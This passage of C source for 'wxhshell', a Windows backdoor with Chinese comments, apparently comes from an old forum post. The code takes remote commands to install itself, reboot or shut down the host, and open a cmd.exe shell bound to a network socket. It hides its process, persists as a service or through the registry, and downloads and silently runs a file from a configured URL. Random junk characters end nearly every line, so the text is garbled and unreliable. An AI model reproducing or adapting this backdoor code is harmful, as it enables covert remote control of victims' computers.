    switch(cmd[0]) { P.DK0VgY  
  #AY&BWS$  
  // 帮助 gjlx~.0d  
  case '?': { !5!<C,U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \Vk:93OH21  
    break; Q+{n-? :  
  } c &c@M$  
  // 安装 'Pbr v  
  case 'i': { #5uOx(>  
    if(Install()) uXiN~j &Be  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?e?!3Bx;EM  
    else uQzXfOq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /x *3}oI  
    break; \w8\1~#  
    } *m(=V1"  
  // 卸载 4skD(au8  
  case 'r': { izR"+v  
    if(Uninstall()) ~}Pfu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qe\5m.k  
    else $/ ],tSm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |uJ%5y#  
    break; -'Mf\h 8  
    } ;9#KeA _  
  // 显示 wxhshell 所在路径 J .<F"r>  
  case 'p': { |V(0GB  
    char svExeFile[MAX_PATH]; ?V=CB,^  
    strcpy(svExeFile,"\n\r"); Iu6   
      strcat(svExeFile,ExeFile); W%w~ah|/]  
        send(wsh,svExeFile,strlen(svExeFile),0); 0*v2y*2V  
    break; W*Y/l~x}  
    } glw+l'@  
  // 重启 Ho]su?  
  case 'b': { ,]D,P  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w!XD/j N  
    if(Boot(REBOOT)) =EsavN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \{YU wKK/A  
    else { s#GLJl\E_P  
    closesocket(wsh); _e2=ado  
    ExitThread(0); }-`4DHgq  
    } G+m }MOQP7  
    break; MqMQtU9w  
    } z(~_AN M4,  
  // 关机 u1.BN>G  
  case 'd': { 2&5K. Ui%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H,NF;QPPC  
    if(Boot(SHUTDOWN)) rT>wg1:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Alq(QDs  
    else { @}ZVtrz  
    closesocket(wsh); LRF103nw  
    ExitThread(0); cH)";] k*-  
    } FGkVqZ Y2?  
    break; e#q}F>/L  
    } yDh6KUK  
  // 获取shell tl>7^hH  
  case 's': { WY]s |2a  
    CmdShell(wsh); d"Y{UE  
    closesocket(wsh); yCo.cd-  
    ExitThread(0); %jM,W}2  
    break; i@'dH3-kO  
  } W_ ZJ0GuE(  
  // 退出 @o.I;}*N  
  case 'x': { !_(Tqyg&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W{aY}`  
    CloseIt(wsh); Ir]\|t  
    break; zW nR6*\  
    } ?h2}#wg  
  // 离开 {GUF;V ^  
  case 'q': { 4GM6)"#d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,z?':TZ  
    closesocket(wsh); e';_Y>WQy  
    WSACleanup(); )`}:8y?  
    exit(1); aQ~s`^D  
    break; D)Dr__x  
        } wA.\i  
  } MO]&bHH7;  
  } nj4/#W  
dqAw5[qMJ  
  // 提示信息 h `wD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B erwI 7!=  
} K|@G t%Y  
  }  2Rz  
QSj]ZA  
  return; xezcAwW  
} %>s |j'{  
p 4)Q&k!  
// shell模块句柄 rLT!To  
int CmdShell(SOCKET sock) ?%kV?eu'  
{ |7Kbpj  
STARTUPINFO si;  S[QrS 7  
ZeroMemory(&si,sizeof(si)); E)3NxmM#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C*lJrFpB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9>$p  
PROCESS_INFORMATION ProcessInfo; -Qe Z#w|  
char cmdline[]="cmd"; A\;U3Zu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .sA.C] f  
  return 0; O'~+_ykTl  
} hzC>~Ub5  
PRT +mT  
// 自身启动模式 Aa]"   
int StartFromService(void) 'm9` 12 H  
{ &?RQZHtg  
typedef struct P>6{&(  
{ aN=B]{!  
  DWORD ExitStatus; r%N)bNk~  
  DWORD PebBaseAddress; tI{_y  
  DWORD AffinityMask; y!%CffF2  
  DWORD BasePriority; 3mni>*q7d  
  ULONG UniqueProcessId; y3ikWnx  
  ULONG InheritedFromUniqueProcessId; 59-c<I/}f  
}   PROCESS_BASIC_INFORMATION; ,2)6s\]/b  
lys#G:H]  
PROCNTQSIP NtQueryInformationProcess; &~w}_Fjk  
BluVmM3Vj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9{uO1O\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P }uOJVQ_  
$wU\Js`/S]  
  HANDLE             hProcess; u2[w#   
  PROCESS_BASIC_INFORMATION pbi; A(0lM`X  
{y;n:^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4`R(?  
  if(NULL == hInst ) return 0; _tXlF;  
%%wNZ{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *9i{,I@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |WUG}G")*x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s9d_GhT%-  
L_s:l9!r  
  if (!NtQueryInformationProcess) return 0; uwBi W  
IIqUZJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &"q=5e2  
  if(!hProcess) return 0; Q5_o/wk  
o`RKXfCq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o? $.fhD   
6`-jPR  
  CloseHandle(hProcess); JMM W  
[fIg{Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  7[wieYj{  
if(hProcess==NULL) return 0; 3[f): u3"  
,v&(YOd  
HMODULE hMod; 8JD,u  
char procName[255]; <Ok3FE.K  
unsigned long cbNeeded; o8vug$=Z  
IqGdfL6[(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A+)`ZTuO  
?0,Ngrbe  
  CloseHandle(hProcess); #5j\C+P}|  
a@*\o+Su  
if(strstr(procName,"services")) return 1; // 以服务启动 K_-MYs.  
\^%}M!tan  
  return 0; // 注册表启动 )F2OT<]m,  
} -PQv ?5  
$tS}LN_!  
// 主模块 }iuw5dik+  
int StartWxhshell(LPSTR lpCmdLine) I!?}jo3  
{ 40<mrVl  
  SOCKET wsl; +d;bjo 2  
BOOL val=TRUE; PiYxk+N  
  int port=0; 1sH& sGy7  
  struct sockaddr_in door; V$?SR44>nH  
8&aq/4:q0  
  if(wscfg.ws_autoins) Install(); BVO<e \>3  
K96<M);:g  
port=atoi(lpCmdLine); !0cD$^7  
"-J -k=  
if(port<=0) port=wscfg.ws_port; O1mKe%'|  
,4oo=&  
  WSADATA data; ?3xzd P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; DDH:)=;z  
VM,]X.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !GGkdg*-*9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Qz N&>sk"  
  door.sin_family = AF_INET; E\,-XH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1y4  
  door.sin_port = htons(port); ^`>/.gL  
8*T=Xei8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E+w<RNBmz  
closesocket(wsl); `^y7f  
return 1; n=ux5M  
} 5[u]E~Fl}  
xUistwq  
  if(listen(wsl,2) == INVALID_SOCKET) { Vy, DN~ag  
closesocket(wsl); hfy_3}_  
return 1; "6?0h[uff  
} /~f'}]W  
  Wxhshell(wsl); NTI+  
  WSACleanup(); }~e%J(  
[1 9,&]z  
return 0; 7x4PaX(  
J S_]FsxD  
} #?9;uy<j.q  
*ppffz  
// 以NT服务方式启动 <yFu*(Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6b \&~b@T  
{ `lt"[K<  
DWORD   status = 0; =>af@C.2  
  DWORD   specificError = 0xfffffff; A=wh@"2  
~O &:C{9=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .=jay{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %Qdn  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7{I0s;R  
  serviceStatus.dwWin32ExitCode     = 0; /CG"]!2 "  
  serviceStatus.dwServiceSpecificExitCode = 0; ;x@~A^<el  
  serviceStatus.dwCheckPoint       = 0; uGEfIy 2  
  serviceStatus.dwWaitHint       = 0; }d}Ke_Q0  
vTzlwK\#1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,>mrPtxN  
  if (hServiceStatusHandle==0) return; ^RtIh-Z.9  
b?QoS|<e?  
status = GetLastError(); ` v@m-j6  
  if (status!=NO_ERROR) ~AT'[(6  
{ Y#P%6Fy  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @7j AL-  
    serviceStatus.dwCheckPoint       = 0; C={Y;C1  
    serviceStatus.dwWaitHint       = 0; ByNn  
    serviceStatus.dwWin32ExitCode     = status; D\NKC@(M  
    serviceStatus.dwServiceSpecificExitCode = specificError; l&Q`wR5e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )C]g ld;8  
    return; W+ko q*P  
  } >_"an~Ss  
X LOh7(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D2B%0sfl~  
  serviceStatus.dwCheckPoint       = 0; k5.Lna  
  serviceStatus.dwWaitHint       = 0;  DwE[D]7o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T !WT;A  
} !58@pLJw  
!\.pq  2  
// 处理NT服务事件,比如:启动、停止 ^N{h3b8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *]/zc1Q4M  
{ wHMX=N1/  
switch(fdwControl) D (?DW}Rqs  
{ iN8zo:&Z  
case SERVICE_CONTROL_STOP: M{T-iW"  
  serviceStatus.dwWin32ExitCode = 0; Lhb35;\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *kDCliL  
  serviceStatus.dwCheckPoint   = 0; IE/^\ M  
  serviceStatus.dwWaitHint     = 0; ieCEo|b  
  { )g#T9tx2D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0Y{yKL  
  } G.a bql  
  return; ]tRu2Ygf  
case SERVICE_CONTROL_PAUSE: dufu|BL|}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ata:^qI  
  break; :hk5 .[  
case SERVICE_CONTROL_CONTINUE: %oa-WmWm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3>`mI8 $t  
  break; }"%?et(  
case SERVICE_CONTROL_INTERROGATE: E GU 0)<  
  break; SdxDa  
}; 9BBmw(M}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kr:^tbJ  
} a:IC)]j$_  
EF}\brD1  
// 标准应用程序主函数 nIy}#MUd|q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J({Xg?  
{ vJc-6EO  
T9_RBy;%  
// 获取操作系统版本 >T3-  
OsIsNt=GetOsVer(); V>-e y9Q\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q"sed]  
]e>w }L(gV  
  // 从命令行安装 !_D0vI;  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9YQb &  
^{;oM^Q'  
  // 下载执行文件 Z|j>gq  
if(wscfg.ws_downexe) { [KaAXv .X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^-Kf']hU  
  WinExec(wscfg.ws_filenam,SW_HIDE); V0.vQ/  
} d#rf5<i  
as4;:  
if(!OsIsNt) { dx{bB%?Y\=  
// 如果时win9x,隐藏进程并且设置为注册表启动 (G4at2YLd  
HideProc(); ^"1n4im  
StartWxhshell(lpCmdLine); ju8q?Nyhs  
} MvHm)h  
else A_ N;   
  if(StartFromService()) 0c'<3@39k|  
  // 以服务方式启动 KNpl:g3{<Q  
  StartServiceCtrlDispatcher(DispatchTable); yyRiP|hJ  
else Ln<`E|[29  
  // 普通方式启动 =eXU@B  
  StartWxhshell(lpCmdLine); A) %/[GD2  
e~[/i\  
return 0; L Mbn  
}
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只看该作者 1 发表于: 2006-10-10
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